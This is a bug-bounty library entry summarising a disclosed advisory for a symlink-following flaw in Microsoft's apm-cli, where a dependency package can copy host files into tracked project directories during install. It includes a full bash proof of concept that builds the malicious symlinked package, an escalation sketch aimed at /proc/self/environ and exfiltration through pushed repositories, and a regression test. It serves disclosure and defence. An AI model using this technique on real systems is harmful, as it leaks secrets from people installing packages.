# Microsoft APM: Symlinks under `.apm/prompts/` and `.apm/agents/` are dereferenced during `apm install`, copying host-local file contents into the project tree

Symlinks committed in APM dependency .apm/prompts and .apm/agents dirs are dereferenced during apm install, copying host-local file contents into project deploy dirs.

- Payout: Research
- Severity: high
- Program: Microsoft
- Found by: thesmartshadow
- Disclosed: 2026-05-18
- CVE: CVE-2026-45539
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-q5pp-gvjg-h7v4
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-q5pp-gvjg-h7v4
- Tags: area:oss domain:oss impact:data-leak kind:research platform:ghsa sev:high tech:ci-cd tech:python technique:source-review vuln:info-disclosure vuln:path-traversal

**Target:** apm-cli prompt/agent integrators (Path.glob + read_text)
**Root cause:** PromptIntegrator.find_prompt_files and AgentIntegrator.find_agent_files use bare Path.glob/rglob without symlink filtering, then read_text follows the link; the existing safe helper BaseIntegrator.find_files_by_glob (which rejects symlinks/hardlinks/escapes) is not used by these integrators.
**Steps:**
1. Create a git repo with apm.yml and `.apm/agents/helper.agent.md`, plus `ln -s /tmp/poc_secret .apm/agents/notes.agent.md` and `ln -s /tmp/poc_secret .apm/prompts/welcome.prompt.md`; commit and tag v1.0.0
2. Clone --bare to a local path and use `git config url.<bare>.insteadOf https://github.com/poc-author/helpful-agents` to redirect the clone
3. In victim project apm.yml declare dependency `poc-author/helpful-agents#v1.0.0` with targets copilot/claude/cursor/codex/windsurf
4. Run `apm install` with no special flags
5. Observe apm_modules retains the symlink but deploy roots (.github/agents, .claude/agents, .cursor/agents, .codex/agents, .windsurf/skills) contain regular files with the sentinel content
**How found:** Code review of integrators: noticed bare Path.glob/rglob + read_text with no symlink filter, contrasted with the existing safe helper BaseIntegrator.find_files_by_glob used by InstructionIntegrator, and with the documented contract that symlinks in apm_modules should remain inert.
**Exploitation:** Malicious package author commits absolute symlinks under .apm/prompts/ or .apm/agents/ pointing at host files (e.g. /proc/self/environ or user secrets). On `apm install`, the integrators dereference and write resolved bytes as regular files into project deploy directories that are not gitignored, so `git add -A` stages them and automation may push them.
**Escalation:** Target /proc/self/environ to capture the APM process environment; deploy dirs are project-tracked and auto-committed in agent-context regeneration workflows, enabling exfil via pushed repo.
**Insight:** When a codebase has a hardened file-enumeration helper, grep for sibling modules still using raw glob/read_text — the asymmetry between integrators is the tell; also check whether SecurityGate-style scanners skip symlinks (followlinks=False) so the malicious source evades scanning while the consumer dereferences it.

## Proof of concept (copied exactly from the original report)

**Bash PoC building malicious package with symlinks**

```
rm -rf /tmp/poc /tmp/poc_secret /tmp/poc_home
mkdir -p /tmp/poc/{remote_bare,victim_project,work_repo} /tmp/poc_home

# 1. Sentinel file outside the project and outside the package
echo 'APM-AUDIT-SENTINEL-X7Y2Q9-NOT-A-REAL-CREDENTIAL' > /tmp/poc_secret

# 2. Build a benign-looking APM package with two symlinks in it
cd /tmp/poc/work_repo
git init -q -b main .
git config user.email t@example.test
git config user.name 'PoC'

cat > apm.yml <<'YML'
name: helpful-agents
version: 1.0.0
description: Helpful AI agent collection
YML

mkdir -p .apm/agents .apm/prompts

cat > .apm/agents/helper.agent.md <<'AGENT'
---
name: helper
description: A helpful assistant
---
You are a helpful assistant.
AGENT

ln -s /tmp/poc_secret .apm/agents/notes.agent.md
ln -s /tmp/poc_secret .apm/prompts/welcome.prompt.md

git add -A
git commit -q -m "initial"
git tag v1.0.0

git ls-tree -r HEAD | grep '^120000'

# 3. Bare repo
git clone --bare -q /tmp/poc/work_repo /tmp/poc/remote_bare/helpful-agents.git

# 4. Rewrite the GitHub URL APM constructs onto the local bare repo
cat > /tmp/poc_home/.gitconfig <<'GITCONFIG'
[user]
    email = poc@example.test
    name  = PoC
[url "/tmp/poc/remote_bare/helpful-agents.git"]
    insteadOf = https://github.com/poc-author/helpful-agents
[url "/tmp/poc/remote_bare/helpful-agents.git"]
    insteadOf = https://github.com/poc-author/helpful-agents.git
[safe]
    directory = *
GITCONFIG

# 5. Victim project
mkdir -p /tmp/poc/victim_project/{.github,.claude,.cursor,.codex,.windsurf}

cat > /tmp/poc/victim_project/apm.yml <<'YML'
name: victim-project
version: 1.0.0
description: Victim project
targets: [copilot, claude, cursor, codex, windsurf]
dependencies:
  apm:
    - poc-author/helpful-agents#v1.0.0
YML

# 6. Default install, no special flags
cd /tmp/poc/victim_project
HOME=/tmp/poc_home APM_NO_CACHE=1 GITHUB_TOKEN= apm install
```

**Regression test for symlink rejection**

```
def test_symlink_under_apm_prompts_is_rejected(tmp_path):
    pkg = tmp_path / "pkg"
    (pkg / ".apm/prompts").mkdir(parents=True)

    sentinel = tmp_path / "sentinel.txt"
    sentinel.write_text("REGRESSION-SENTINEL")

    (pkg / ".apm/prompts/leak.prompt.md").symlink_to(sentinel)

    result = PromptIntegrator().find_prompt_files(pkg)

    assert all(not p.is_symlink() for p in result)
    assert not any(p.name == "leak.prompt.md" for p in result)
```

